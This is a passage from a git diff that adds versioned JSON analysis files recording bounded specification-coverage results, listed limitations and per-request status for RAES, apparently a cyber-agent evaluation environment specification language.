crash/profile conformance and HTTP security changes are covered by their dedicated regression suite, not promoted to new claims by this retained corpus.", + "Issue #1189 control-plane profile declarations are covered by their dedicated runtime suite, not promoted to new claims by the retained language corpus.", + "Issue #610's reconciliation demonstration harness is covered by its dedicated processor and CLI suite, not promoted to new claims by the retained language corpus.", + "Participant identity, organization ownership, and participant assignment are separated by issue #1338. This retained offline corpus does not establish participant autonomy, execution authority, live backend fidelity, or causal attribution.", + "Participant-local outcome state is verified by the ACT-618 tests; this retained corpus makes no additional outcome-state claim.", + "Backend operation supervision contracts are covered by issue #1360 contract tests; this retained offline corpus establishes no live backend supervision or recovery guarantee." + ], + "load_bearing_results": { + "failed": 0, + "missing": 0, + "passed": 10, + "total": 10 + }, + "plain_language_outcome": "The retained specification matrix replays explicit participant affiliations, objective ownership, and assignment using abstract action contracts. Classification counts and untested concepts are unchanged; no execution authority or live backend behavior is inferred.", + "protocol_revision": "1.0.0", + "request_results": [ + { + "concept_count": 6, + "failed_stage_count": 0, + "missing_count": 0, + "request_id": "survey-representative-range", + "status": "demonstrated" + }, + { + "concept_count": 5, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "cyborg-participant-evaluation", + "status": "partial" + }, + { + "concept_count": 3, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "vsdl-configurable-infrastructure", + "status": "partial" + }, + { + "concept_count": 2, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "cyber-dem-federation", + "status": "partial" + } + ], + "snapshot_id": "issue-1360-specification-coverage-v49", + "snapshot_sha256": "ab2f5b2e0ac8e5a904e05e79ded97b727f384ccadd91283adfb727995c73e2a0" +} diff --git a/docs/research/specification-coverage/analysis-v50.json b/docs/research/specification-coverage/analysis-v50.json new file mode 100644 index 000000000..7d40e48be --- /dev/null +++ b/docs/research/specification-coverage/analysis-v50.json @@ -0,0 +1,101 @@ +{ + "analysis_id": "issue-1360-specification-coverage-v50", + "backend_leakage": [], + "claim": { + "allowed_evidence": [ + "pinned source metadata and bounded paraphrases", + "production parser, semantic, instantiation, admission, compiler, contract, and profile results", + "exact artifact digests and typed pointers", + "documented missing-concept and backend-specific dispositions" + ], + "claim_id": "raes-standardized-configurable-specification-coverage", + "disallowed_evidence": [ + "field-count or schema breadth alone", + "the existing scenario stress corpus as the representative request corpus", + "free-form metadata as typed coverage", + "backend-private interpretation", + "post-hoc removal or repair of falsifying concepts" + ], + "evidence_artifacts": [ + "docs/research/specification-coverage/protocol-v1.json", + "docs/research/specification-coverage/execution-snapshot-v50.json", + "docs/research/specification-coverage/analysis-v50.json" + ], + "falsification_protocol": "docs/research/specification-coverage/protocol-v1.json", + "objective_fail_criteria": "A load-bearing concept is missing or lossy, an applicable stage fails, or backend vocabulary is required in core SDL while the result claims success.", + "objective_pass_criteria": "Every load-bearing concept passes at every owning stage, backend-specific mechanics stay outside core SDL, and no requested concept is silently lost.", + "statement": "RAES provides a standardized configurable portable specification surface for the preregistered representative cyber-agent evaluation environment requirements without backend vocabulary in core SDL.", + "threats_to_validity": [ + "The representative corpus contains four source strata and sixteen atomic concepts rather than every cyber-range requirement.", + "The reference processor and repository fixtures are not independent backend implementations.", + "No live range, simulator federation, or participant execution was part of this offline specification-coverage test." + ] + }, + "classification_counts": { + "deliberately-backend-specific": 1, + "directly-expressible": 10, + "missing": 3, + "profile-or-manifest-constraint": 2 + }, + "evidence_status": "partial", + "execution_status": "complete", + "generated_at": "2026-09-25", + "limitations": [ + "This result demonstrates bounded specification coverage, not universal cyber-range coverage, usability, adoption, backend substitution, or behavioral equivalence.", + "The three missing concepts are evidence, not implementation tasks within this snapshot.", + "The retained protocol does not test recursive realization or plan-level profile semantics; this release only re-establishes its original bounded coverage result against the current implementation.", + "The retained protocol does not test evidence-requirement refinement lineage; the dedicated EXP-731 regression suite covers that production boundary.", + "Authoring-adapter transport behavior is outside this retained protocol.", + "Reviewed OCI mirror and pre-seed admission is covered by its own regression suites and the development artifact policy gate, not a new claim in this preregistered matrix.", + "Operational recovery observation and startup reconciliation are covered by their API-404 regression suite, not a new claim in this preregistered matrix.", + "Store ownership, immutable runtime scope, and provider shutdown ordering are covered by the API-404 CP-5 regression suite, not by this retained specification-coverage protocol.", + "Mixed/staged trial compilation and admission are covered by issue #1015 regression tests, not by this retained specification-coverage corpus; no live mixed-runtime result is claimed.", + "Issue #1186 control-plane recovery operations are covered by their runtime regression suite, not by this retained specification-coverage corpus.", + "Issue #1187 control-plane crash/profile conformance and HTTP security changes are covered by their dedicated regression suite, not promoted to new claims by this retained corpus.", + "Issue #1189 control-plane profile declarations are covered by their dedicated runtime suite, not promoted to new claims by the retained language corpus.", + "Issue #610's reconciliation demonstration harness is covered by its dedicated processor and CLI suite, not promoted to new claims by the retained language corpus.", + "Participant identity, organization ownership, and participant assignment are separated by issue #1338. This retained offline corpus does not establish participant autonomy, execution authority, live backend fidelity, or causal attribution.", + "Participant-local outcome state is verified by the ACT-618 tests; this retained corpus makes no additional outcome-state claim.", + "Backend operation supervision contracts are covered by issue #1360 contract tests; this retained offline corpus establishes no live backend supervision or recovery guarantee." + ], + "load_bearing_results": { + "failed": 0, + "missing": 0, + "passed": 10, + "total": 10 + }, + "plain_language_outcome": "The retained specification matrix replays explicit participant affiliations, objective ownership, and assignment using abstract action contracts. Classification counts and untested concepts are unchanged; no execution authority or live backend behavior is inferred.", + "protocol_revision": "1.0.0", + "request_results": [ + { + "concept_count": 6, + "failed_stage_count": 0, + "missing_count": 0, + "request_id": "survey-representative-range", + "status": "demonstrated" + }, + { + "concept_count": 5, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "cyborg-participant-evaluation", + "status": "partial" + }, + { + "concept_count": 3, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "vsdl-configurable-infrastructure", + "status": "partial" + }, + { + "concept_count": 2, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "cyber-dem-federation", + "status": "partial" + } + ], + "snapshot_id": "issue-1360-specification-coverage-v50", + "snapshot_sha256": "e65ec76b44567ae7a86b0a28f3e4ac8b63b97ff82777879679cd46e701df5c51" +} diff --git a/docs/research/specification-coverage/analysis-v51.json b/docs/research/specification-coverage/analysis-v51.json new file mode 100644 index 000000000..62816c13d --- /dev/null +++ b/docs/research/specification-coverage/analysis-v51.json @@ -0,0 +1,102 @@ +{ + "analysis_id": "issue-1360-specification-coverage-v51", + "backend_leakage": [], + "claim": { + "allowed_evidence": [ + "pinned source metadata and bounded paraphrases", + "production parser, semantic, instantiation, admission, compiler, contract, and profile results", + "exact artifact digests and typed pointers", + "documented missing-concept and backend-specific dispositions" + ], + "claim_id": "raes-standardized-configurable-specification-coverage", + "disallowed_evidence": [ + "field-count or schema breadth alone", + "the existing scenario stress corpus as the representative request corpus", + "free-form metadata as typed coverage", + "backend-private interpretation", + "post-hoc removal or repair of falsifying concepts" + ], + "evidence_artifacts": [ + "docs/research/specification-coverage/protocol-v1.json", + "docs/research/specification-coverage/execution-snapshot-v51.json", + "docs/research/specification-coverage/analysis-v51.json" + ], + "falsification_protocol": "docs/research/specification-coverage/protocol-v1.json", + "objective_fail_criteria": "A load-bearing concept is missing or lossy, an applicable stage fails, or backend vocabulary is required in core SDL while the result claims success.", + "objective_pass_criteria": "Every load-bearing concept passes at every owning stage, backend-specific mechanics stay outside core SDL, and no requested concept is silently lost.", + "statement": "RAES provides a standardized configurable portable specification surface for the preregistered representative cyber-agent evaluation environment requirements without backend vocabulary in core SDL.", + "threats_to_validity": [ + "The representative corpus contains four source strata and sixteen atomic concepts rather than every cyber-range requirement.", + "The reference processor and repository fixtures are not independent backend implementations.", + "No live range, simulator federation, or participant execution was part of this offline specification-coverage test." + ] + }, + "classification_counts": { + "deliberately-backend-specific": 1, + "directly-expressible": 10, + "missing": 3, + "profile-or-manifest-constraint": 2 + }, + "evidence_status": "partial", + "execution_status": "complete", + "generated_at": "2026-09-25", + "limitations": [ + "This result demonstrates bounded specification coverage, not universal cyber-range coverage, usability, adoption, backend substitution, or behavioral equivalence.", + "The three missing concepts are evidence, not implementation tasks within this snapshot.", + "The retained protocol does not test recursive realization or plan-level profile semantics; this release only re-establishes its original bounded coverage result against the current implementation.", + "The retained protocol does not test evidence-requirement refinement lineage; the dedicated EXP-731 regression suite covers that production boundary.", + "Authoring-adapter transport behavior is outside this retained protocol.", + "Reviewed OCI mirror and pre-seed admission is covered by its own regression suites and the development artifact policy gate, not a new claim in this preregistered matrix.", + "Operational recovery observation and startup reconciliation are covered by their API-404 regression suite, not a new claim in this preregistered matrix.", + "Store ownership, immutable runtime scope, and provider shutdown ordering are covered by the API-404 CP-5 regression suite, not by this retained specification-coverage protocol.", + "Mixed/staged trial compilation and admission are covered by issue #1015 regression tests, not by this retained specification-coverage corpus; no live mixed-runtime result is claimed.", + "Issue #1186 control-plane recovery operations are covered by their runtime regression suite, not by this retained specification-coverage corpus.", + "Issue #1187 control-plane crash/profile conformance and HTTP security changes are covered by their dedicated regression suite, not promoted to new claims by this retained corpus.", + "Issue #1189 control-plane profile declarations are covered by their dedicated runtime suite, not promoted to new claims by the retained language corpus.", + "Issue #610's reconciliation demonstration harness is covered by its dedicated processor and CLI suite, not promoted to new claims by the retained language corpus.", + "Participant identity, organization ownership, and participant assignment are separated by issue #1338. This retained offline corpus does not establish participant autonomy, execution authority, live backend fidelity, or causal attribution.", + "Participant-local outcome state is verified by the ACT-618 tests; this retained corpus makes no additional outcome-state claim.", + "Backend operation supervision contracts are covered by issue #1360 contract tests; this retained offline corpus establishes no live backend supervision or recovery guarantee.", + "This capture replays the merged issue #1360 and #1357 source; the protocol makes no live backend execution or supervision claim." + ], + "load_bearing_results": { + "failed": 0, + "missing": 0, + "passed": 10, + "total": 10 + }, + "plain_language_outcome": "The retained specification matrix replays explicit participant affiliations, objective ownership, and assignment using abstract action contracts. Classification counts and untested concepts are unchanged; no execution authority or live backend behavior is inferred.", + "protocol_revision": "1.0.0", + "request_results": [ + { + "concept_count": 6, + "failed_stage_count": 0, + "missing_count": 0, + "request_id": "survey-representative-range", + "status": "demonstrated" + }, + { + "concept_count": 5, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "cyborg-participant-evaluation", + "status": "partial" + }, + { + "concept_count": 3, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "vsdl-configurable-infrastructure", + "status": "partial" + }, + { + "concept_count": 2, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "cyber-dem-federation", + "status": "partial" + } + ], + "snapshot_id": "issue-1360-specification-coverage-v51", + "snapshot_sha256": "0aba45b10c71ea6c76cd585e50394015c9c5074705d1d963c8b4209ed6071595" +} diff --git a/docs/research/specification-coverage/analysis-v52.json b/docs/research/specification-coverage/analysis-v52.json new file mode 100644 index 000000000..69a53d78f --- /dev/null +++ b/docs/research/specification-coverage/analysis-v52.json @@ -0,0 +1,103 @@ +{ + "analysis_id": "issue-1360-specification-coverage-v52", + "backend_leakage": [], + "claim": { + "allowed_evidence": [ + "pinned source metadata and bounded paraphrases", + "production parser, semantic, instantiation, admission, compiler, contract, and profile results", + "exact artifact digests and typed pointers", + "documented missing-concept and backend-specific dispositions" + ], + "claim_id": "raes-standardized-configurable-specification-coverage", + "disallowed_evidence": [ + "field-count or schema breadth alone", + "the existing scenario stress corpus as the representative request corpus", + "free-form metadata as typed coverage", + "backend-private interpretation", + "post-hoc removal or repair of falsifying concepts" + ], + "evidence_artifacts": [ + "docs/research/specification-coverage/protocol-v1.json", + "docs/research/specification-coverage/execution-snapshot-v52.json", + "docs/research/specification-coverage/analysis-v52.json" + ], + "falsification_protocol": "docs/research/specification-coverage/protocol-v1.json", + "objective_fail_criteria": "A load-bearing concept is missing or lossy, an applicable stage fails, or backend vocabulary is required in core SDL while the result claims success.", + "objective_pass_criteria": "Every load-bearing concept passes at every owning stage, backend-specific mechanics stay outside core SDL, and no requested concept is silently lost.", + "statement": "RAES provides a standardized configurable portable specification surface for the preregistered representative cyber-agent evaluation environment requirements without backend vocabulary in core SDL.", + "threats_to_validity": [ + "The representative corpus contains four source strata and sixteen atomic concepts rather than every cyber-range requirement.", + "The reference processor and repository fixtures are not independent backend implementations.", + "No live range, simulator federation, or participant execution was part of this offline specification-coverage test." + ] + }, + "classification_counts": { + "deliberately-backend-specific": 1, + "directly-expressible": 10, + "missing": 3, + "profile-or-manifest-constraint": 2 + }, + "evidence_status": "partial", + "execution_status": "complete", + "generated_at": "2026-09-25", + "limitations": [ + "This result demonstrates bounded specification coverage, not universal cyber-range coverage, usability, adoption, backend substitution, or behavioral equivalence.", + "The three missing concepts are evidence, not implementation tasks within this snapshot.", + "The retained protocol does not test recursive realization or plan-level profile semantics; this release only re-establishes its original bounded coverage result against the current implementation.", + "The retained protocol does not test evidence-requirement refinement lineage; the dedicated EXP-731 regression suite covers that production boundary.", + "Authoring-adapter transport behavior is outside this retained protocol.", + "Reviewed OCI mirror and pre-seed admission is covered by its own regression suites and the development artifact policy gate, not a new claim in this preregistered matrix.", + "Operational recovery observation and startup reconciliation are covered by their API-404 regression suite, not a new claim in this preregistered matrix.", + "Store ownership, immutable runtime scope, and provider shutdown ordering are covered by the API-404 CP-5 regression suite, not by this retained specification-coverage protocol.", + "Mixed/staged trial compilation and admission are covered by issue #1015 regression tests, not by this retained specification-coverage corpus; no live mixed-runtime result is claimed.", + "Issue #1186 control-plane recovery operations are covered by their runtime regression suite, not by this retained specification-coverage corpus.", + "Issue #1187 control-plane crash/profile conformance and HTTP security changes are covered by their dedicated regression suite, not promoted to new claims by this retained corpus.", + "Issue #1189 control-plane profile declarations are covered by their dedicated runtime suite, not promoted to new claims by the retained language corpus.", + "Issue #610's reconciliation demonstration harness is covered by its dedicated processor and CLI suite, not promoted to new claims by the retained language corpus.", + "Participant identity, organization ownership, and participant assignment are separated by issue #1338. This retained offline corpus does not establish participant autonomy, execution authority, live backend fidelity, or causal attribution.", + "Participant-local outcome state is verified by the ACT-618 tests; this retained corpus makes no additional outcome-state claim.", + "Backend operation supervision contracts are covered by issue #1360 contract tests; this retained offline corpus establishes no live backend supervision or recovery guarantee.", + "This capture replays the merged issue #1360 and #1357 source; the protocol makes no live backend execution or supervision claim.", + "This capture replays the merged issue #1360 and #1358 source; the protocol makes no live backend execution or supervision claim." + ], + "load_bearing_results": { + "failed": 0, + "missing": 0, + "passed": 10, + "total": 10 + }, + "plain_language_outcome": "The retained specification matrix replays explicit participant affiliations, objective ownership, and assignment using abstract action contracts. Classification counts and untested concepts are unchanged; no execution authority or live backend behavior is inferred.", + "protocol_revision": "1.0.0", + "request_results": [ + { + "concept_count": 6, + "failed_stage_count": 0, + "missing_count": 0, + "request_id": "survey-representative-range", + "status": "demonstrated" + }, + { + "concept_count": 5, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "cyborg-participant-evaluation", + "status": "partial" + }, + { + "concept_count": 3, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "vsdl-configurable-infrastructure", + "status": "partial" + }, + { + "concept_count": 2, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "cyber-dem-federation", + "status": "partial" + } + ], + "snapshot_id": "issue-1360-specification-coverage-v52", + "snapshot_sha256": "5a03e9ba0932e8bc7a6131f0c93e357e87b7d5e93ccffa97a083869ef5ac53ca" +} diff --git a/docs/research/specification-coverage/analysis-v53.json b/docs/research/specification-coverage/analysis-v53.json new file mode 100644 index 000000000..fd59ee1f8 --- /dev/null +++ b/docs/research/specification-coverage/analysis-v53.json @@ -0,0 +1,104 @@ +{ + "analysis_id": "issue-1355-specification-coverage-v53", + "backend_leakage": [], + "claim": { + "allowed_evidence": [ + "pinned source metadata and bounded paraphrases", + "production parser, semantic, instantiation, admission, compiler, contract, and profile results", + "exact artifact digests and typed pointers", + "documented missing-concept and backend-specific dispositions" + ], + "claim_id": "raes-standardized-configurable-specification-coverage", + "disallowed_evidence": [ + "field-count or schema breadth alone", + "the existing scenario stress corpus as the representative request corpus", + "free-form metadata as typed coverage", + "backend-private interpretation", + "post-hoc removal or repair of falsifying concepts" + ], + "evidence_artifacts": [ + "docs/research/specification-coverage/protocol-v1.json", + "docs/research/specification-coverage/execution-snapshot-v53.json", + "docs/research/specification-coverage/analysis-v53.json" + ], + "falsification_protocol": "docs/research/specification-coverage/protocol-v1.json", + "objective_fail_criteria": "A load-bearing concept is missing or lossy, an applicable stage fails, or backend vocabulary is required in core SDL while the result claims success.", + "objective_pass_criteria": "Every load-bearing concept passes at every owning stage, backend-specific mechanics stay outside core SDL, and no requested concept is silently lost.", + "statement": "RAES provides a standardized configurable portable specification surface for the preregistered representative cyber-agent evaluation environment requirements without backend vocabulary in core SDL.", + "threats_to_validity": [ + "The representative corpus contains four source strata and sixteen atomic concepts rather than every cyber-range requirement.", + "The reference processor and repository fixtures are not independent backend implementations.", + "No live range, simulator federation, or participant execution was part of this offline specification-coverage test." + ] + }, + "classification_counts": { + "deliberately-backend-specific": 1, + "directly-expressible": 10, + "missing": 3, + "profile-or-manifest-constraint": 2 + }, + "evidence_status": "partial", + "execution_status": "complete", + "generated_at": "2026-09-26", + "limitations": [ + "This result demonstrates bounded specification coverage, not universal cyber-range coverage, usability, adoption, backend substitution, or behavioral equivalence.", + "The three missing concepts are evidence, not implementation tasks within this snapshot.", + "The retained protocol does not test recursive realization or plan-level profile semantics; this release only re-establishes its original bounded coverage result against the current implementation.", + "The retained protocol does not test evidence-requirement refinement lineage; the dedicated EXP-731 regression suite covers that production boundary.", + "Authoring-adapter transport behavior is outside this retained protocol.", + "Reviewed OCI mirror and pre-seed admission is covered by its own regression suites and the development artifact policy gate, not a new claim in this preregistered matrix.", + "Operational recovery observation and startup reconciliation are covered by their API-404 regression suite, not a new claim in this preregistered matrix.", + "Store ownership, immutable runtime scope, and provider shutdown ordering are covered by the API-404 CP-5 regression suite, not by this retained specification-coverage protocol.", + "Mixed/staged trial compilation and admission are covered by issue #1015 regression tests, not by this retained specification-coverage corpus; no live mixed-runtime result is claimed.", + "Issue #1186 control-plane recovery operations are covered by their runtime regression suite, not by this retained specification-coverage corpus.", + "Issue #1187 control-plane crash/profile conformance and HTTP security changes are covered by their dedicated regression suite, not promoted to new claims by this retained corpus.", + "Issue #1189 control-plane profile declarations are covered by their dedicated runtime suite, not promoted to new claims by the retained language corpus.", + "Issue #610's reconciliation demonstration harness is covered by its dedicated processor and CLI suite, not promoted to new claims by the retained language corpus.", + "Participant identity, organization ownership, and participant assignment are separated by issue #1338. This retained offline corpus does not establish participant autonomy, execution authority, live backend fidelity, or causal attribution.", + "Participant-local outcome state is verified by the ACT-618 tests; this retained corpus makes no additional outcome-state claim.", + "Backend operation supervision contracts are covered by issue #1360 contract tests; this retained offline corpus establishes no live backend supervision or recovery guarantee.", + "This capture replays the merged issue #1360 and #1357 source; the protocol makes no live backend execution or supervision claim.", + "This capture replays the merged issue #1360 and #1358 source; the protocol makes no live backend execution or supervision claim.", + "This capture binds issue #1355 executable mixed mapping and time source to the retained offline protocol; dedicated runtime tests establish its behavior, not this coverage matrix." + ], + "load_bearing_results": { + "failed": 0, + "missing": 0, + "passed": 10, + "total": 10 + }, + "plain_language_outcome": "The retained specification matrix replays explicit participant affiliations, objective ownership, and assignment using abstract action contracts. Classification counts and untested concepts are unchanged; no execution authority or live backend behavior is inferred.", + "protocol_revision": "1.0.0", + "request_results": [ + { + "concept_count": 6, + "failed_stage_count": 0, + "missing_count": 0, + "request_id": "survey-representative-range", + "status": "demonstrated" + }, + { + "concept_count": 5, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "cyborg-participant-evaluation", + "status": "partial" + }, + { + "concept_count": 3, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "vsdl-configurable-infrastructure", + "status": "partial" + }, + { + "concept_count": 2, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "cyber-dem-federation", + "status": "partial" + } + ], + "snapshot_id": "issue-1355-specification-coverage-v53", + "snapshot_sha256": "9d3374e6d7c038e9d9439d6b803d97ca189207118cf4223745a13e9f8e676051" +} diff --git a/docs/research/specification-coverage/analysis-v54.json b/docs/research/specification-coverage/analysis-v54.json new file mode 100644 index 000000000..824ee55b2 --- /dev/null +++ b/docs/research/specification-coverage/analysis-v54.json @@ -0,0 +1,104 @@ +{ + "analysis_id": "raes-standardized-specification-coverage-issue-1389-v54", + "backend_leakage": [], + "claim": { + "allowed_evidence": [ + "pinned source metadata and bounded paraphrases", + "production parser, semantic, instantiation, admission, compiler, contract, and profile results", + "exact artifact digests and typed pointers", + "documented missing-concept and backend-specific dispositions" + ], + "claim_id": "raes-standardized-configurable-specification-coverage", + "disallowed_evidence": [ + "field-count or schema breadth alone", + "the existing scenario stress corpus as the representative request corpus", + "free-form metadata as typed coverage", + "backend-private interpretation", + "post-hoc removal or repair of falsifying concepts" + ], + "evidence_artifacts": [ + "docs/research/specification-coverage/protocol-v1.json", + "docs/research/specification-coverage/execution-snapshot-v54.json", + "docs/research/specification-coverage/analysis-v54.json" + ], + "falsification_protocol": "docs/research/specification-coverage/protocol-v1.json", + "objective_fail_criteria": "A load-bearing concept is missing or lossy, an applicable stage fails, or backend vocabulary is required in core SDL while the result claims success.", + "objective_pass_criteria": "Every load-bearing concept passes at every owning stage, backend-specific mechanics stay outside core SDL, and no requested concept is silently lost.", + "statement": "RAES provides a standardized configurable portable specification surface for the preregistered representative cyber-agent evaluation environment requirements without backend vocabulary in core SDL.", + "threats_to_validity": [ + "The representative corpus contains four source strata and sixteen atomic concepts rather than every cyber-range requirement.", + "The reference processor and repository fixtures are not independent backend implementations.", + "No live range, simulator federation, or participant execution was part of this offline specification-coverage test." + ] + }, + "classification_counts": { + "deliberately-backend-specific": 1, + "directly-expressible": 10, + "missing": 3, + "profile-or-manifest-constraint": 2 + }, + "evidence_status": "partial", + "execution_status": "complete", + "generated_at": "2026-09-26", + "limitations": [ + "This result demonstrates bounded specification coverage, not universal cyber-range coverage, usability, adoption, backend substitution, or behavioral equivalence.", + "The three missing concepts are evidence, not implementation tasks within this snapshot.", + "The retained protocol does not test recursive realization or plan-level profile semantics; this release only re-establishes its original bounded coverage result against the current implementation.", + "The retained protocol does not test evidence-requirement refinement lineage; the dedicated EXP-731 regression suite covers that production boundary.", + "Authoring-adapter transport behavior is outside this retained protocol.", + "Reviewed OCI mirror and pre-seed admission is covered by its own regression suites and the development artifact policy gate, not a new claim in this preregistered matrix.", + "Operational recovery observation and startup reconciliation are covered by their API-404 regression suite, not a new claim in this preregistered matrix.", + "Store ownership, immutable runtime scope, and provider shutdown ordering are covered by the API-404 CP-5 regression suite, not by this retained specification-coverage protocol.", + "Mixed/staged trial compilation and admission are covered by issue #1015 regression tests, not by this retained specification-coverage corpus; no live mixed-runtime result is claimed.", + "Issue #1186 control-plane recovery operations are covered by their runtime regression suite, not by this retained specification-coverage corpus.", + "Issue #1187 control-plane crash/profile conformance and HTTP security changes are covered by their dedicated regression suite, not promoted to new claims by this retained corpus.", + "Issue #1189 control-plane profile declarations are covered by their dedicated runtime suite, not promoted to new claims by the retained language corpus.", + "Issue #610's reconciliation demonstration harness is covered by its dedicated processor and CLI suite, not promoted to new claims by the retained language corpus.", + "Participant identity, organization ownership, and participant assignment are separated by issue #1338. This retained offline corpus does not establish participant autonomy, execution authority, live backend fidelity, or causal attribution.", + "Participant-local outcome state is verified by the ACT-618 tests; this retained corpus makes no additional outcome-state claim.", + "Backend operation supervision contracts are covered by issue #1360 contract tests; this retained offline corpus establishes no live backend supervision or recovery guarantee.", + "This capture replays the merged issue #1360 and #1357 source; the protocol makes no live backend execution or supervision claim.", + "This capture replays the merged issue #1360 and #1358 source; the protocol makes no live backend execution or supervision claim.", + "Issue #1389 participant inject delivery temporal-subject admission is covered by dedicated compiler tests; this retained matrix makes no new timing or execution claim." + ], + "load_bearing_results": { + "failed": 0, + "missing": 0, + "passed": 10, + "total": 10 + }, + "plain_language_outcome": "The retained specification matrix replays unchanged classifications and claim limits against source that admits exact participant inject delivery temporal subjects. Dedicated compiler tests, rather than this corpus, verify that delivery-timing behavior.", + "protocol_revision": "1.0.0", + "request_results": [ + { + "concept_count": 6, + "failed_stage_count": 0, + "missing_count": 0, + "request_id": "survey-representative-range", + "status": "demonstrated" + }, + { + "concept_count": 5, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "cyborg-participant-evaluation", + "status": "partial" + }, + { + "concept_count": 3, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "vsdl-configurable-infrastructure", + "status": "partial" + }, + { + "concept_count": 2, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "cyber-dem-federation", + "status": "partial" + } + ], + "snapshot_id": "raes-standardized-specification-coverage-issue-1389-v54", + "snapshot_sha256": "9447ba708faec33f893a9f2e7f6fb346715fe7d6aae86e340f33aa539eb1fcc0" +} diff --git a/docs/research/specification-coverage/analysis-v55.json b/docs/research/specification-coverage/analysis-v55.json new file mode 100644 index 000000000..911179a89 --- /dev/null +++ b/docs/research/specification-coverage/analysis-v55.json @@ -0,0 +1,105 @@ +{ + "analysis_id": "issue-1361-specification-coverage-v55", + "backend_leakage": [], + "claim": { + "allowed_evidence": [ + "pinned source metadata and bounded paraphrases", + "production parser, semantic, instantiation, admission, compiler, contract, and profile results", + "exact artifact digests and typed pointers", + "documented missing-concept and backend-specific dispositions" + ], + "claim_id": "raes-standardized-configurable-specification-coverage", + "disallowed_evidence": [ + "field-count or schema breadth alone", + "the existing scenario stress corpus as the representative request corpus", + "free-form metadata as typed coverage", + "backend-private interpretation", + "post-hoc removal or repair of falsifying concepts" + ], + "evidence_artifacts": [ + "docs/research/specification-coverage/protocol-v1.json", + "docs/research/specification-coverage/execution-snapshot-v55.json", + "docs/research/specification-coverage/analysis-v55.json" + ], + "falsification_protocol": "docs/research/specification-coverage/protocol-v1.json", + "objective_fail_criteria": "A load-bearing concept is missing or lossy, an applicable stage fails, or backend vocabulary is required in core SDL while the result claims success.", + "objective_pass_criteria": "Every load-bearing concept passes at every owning stage, backend-specific mechanics stay outside core SDL, and no requested concept is silently lost.", + "statement": "RAES provides a standardized configurable portable specification surface for the preregistered representative cyber-agent evaluation environment requirements without backend vocabulary in core SDL.", + "threats_to_validity": [ + "The representative corpus contains four source strata and sixteen atomic concepts rather than every cyber-range requirement.", + "The reference processor and repository fixtures are not independent backend implementations.", + "No live range, simulator federation, or participant execution was part of this offline specification-coverage test." + ] + }, + "classification_counts": { + "deliberately-backend-specific": 1, + "directly-expressible": 10, + "missing": 3, + "profile-or-manifest-constraint": 2 + }, + "evidence_status": "partial", + "execution_status": "complete", + "generated_at": "2026-09-26", + "limitations": [ + "This result demonstrates bounded specification coverage, not universal cyber-range coverage, usability, adoption, backend substitution, or behavioral equivalence.", + "The three missing concepts are evidence, not implementation tasks within this snapshot.", + "The retained protocol does not test recursive realization or plan-level profile semantics; this release only re-establishes its original bounded coverage result against the current implementation.", + "The retained protocol does not test evidence-requirement refinement lineage; the dedicated EXP-731 regression suite covers that production boundary.", + "Authoring-adapter transport behavior is outside this retained protocol.", + "Reviewed OCI mirror and pre-seed admission is covered by its own regression suites and the development artifact policy gate, not a new claim in this preregistered matrix.", + "Operational recovery observation and startup reconciliation are covered by their API-404 regression suite, not a new claim in this preregistered matrix.", + "Store ownership, immutable runtime scope, and provider shutdown ordering are covered by the API-404 CP-5 regression suite, not by this retained specification-coverage protocol.", + "Mixed/staged trial compilation and admission are covered by issue #1015 regression tests, not by this retained specification-coverage corpus; no live mixed-runtime result is claimed.", + "Issue #1186 control-plane recovery operations are covered by their runtime regression suite, not by this retained specification-coverage corpus.", + "Issue #1187 control-plane crash/profile conformance and HTTP security changes are covered by their dedicated regression suite, not promoted to new claims by this retained corpus.", + "Issue #1189 control-plane profile declarations are covered by their dedicated runtime suite, not promoted to new claims by the retained language corpus.", + "Issue #610's reconciliation demonstration harness is covered by its dedicated processor and CLI suite, not promoted to new claims by the retained language corpus.", + "Participant identity, organization ownership, and participant assignment are separated by issue #1338. This retained offline corpus does not establish participant autonomy, execution authority, live backend fidelity, or causal attribution.", + "Participant-local outcome state is verified by the ACT-618 tests; this retained corpus makes no additional outcome-state claim.", + "Backend operation supervision contracts are covered by issue #1360 contract tests; this retained offline corpus establishes no live backend supervision or recovery guarantee.", + "This capture replays the merged issue #1360 and #1357 source; the protocol makes no live backend execution or supervision claim.", + "This capture replays the merged issue #1360 and #1358 source; the protocol makes no live backend execution or supervision claim.", + "Issue #1389 participant inject delivery temporal-subject admission is covered by dedicated compiler tests; this retained matrix makes no new timing or execution claim.", + "Issue #1361 trial execution-authority admission is covered by dedicated contract and compiler tests; this retained matrix makes no live backend execution or supervision claim." + ], + "load_bearing_results": { + "failed": 0, + "missing": 0, + "passed": 10, + "total": 10 + }, + "plain_language_outcome": "The retained specification matrix replays unchanged classifications and claim limits against source that admits exact participant inject delivery temporal subjects. Dedicated compiler tests, rather than this corpus, verify that delivery-timing behavior.", + "protocol_revision": "1.0.0", + "request_results": [ + { + "concept_count": 6, + "failed_stage_count": 0, + "missing_count": 0, + "request_id": "survey-representative-range", + "status": "demonstrated" + }, + { + "concept_count": 5, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "cyborg-participant-evaluation", + "status": "partial" + }, + { + "concept_count": 3, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "vsdl-configurable-infrastructure", + "status": "partial" + }, + { + "concept_count": 2, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "cyber-dem-federation", + "status": "partial" + } + ], + "snapshot_id": "issue-1361-specification-coverage-v55", + "snapshot_sha256": "5db372a8249fc923ba3d2a12bf7956ab59ddfc90fa3e22d3ca34beaf16ce1551" +} diff --git a/docs/research/specification-coverage/analysis-v56.json b/docs/research/specification-coverage/analysis-v56.json new file mode 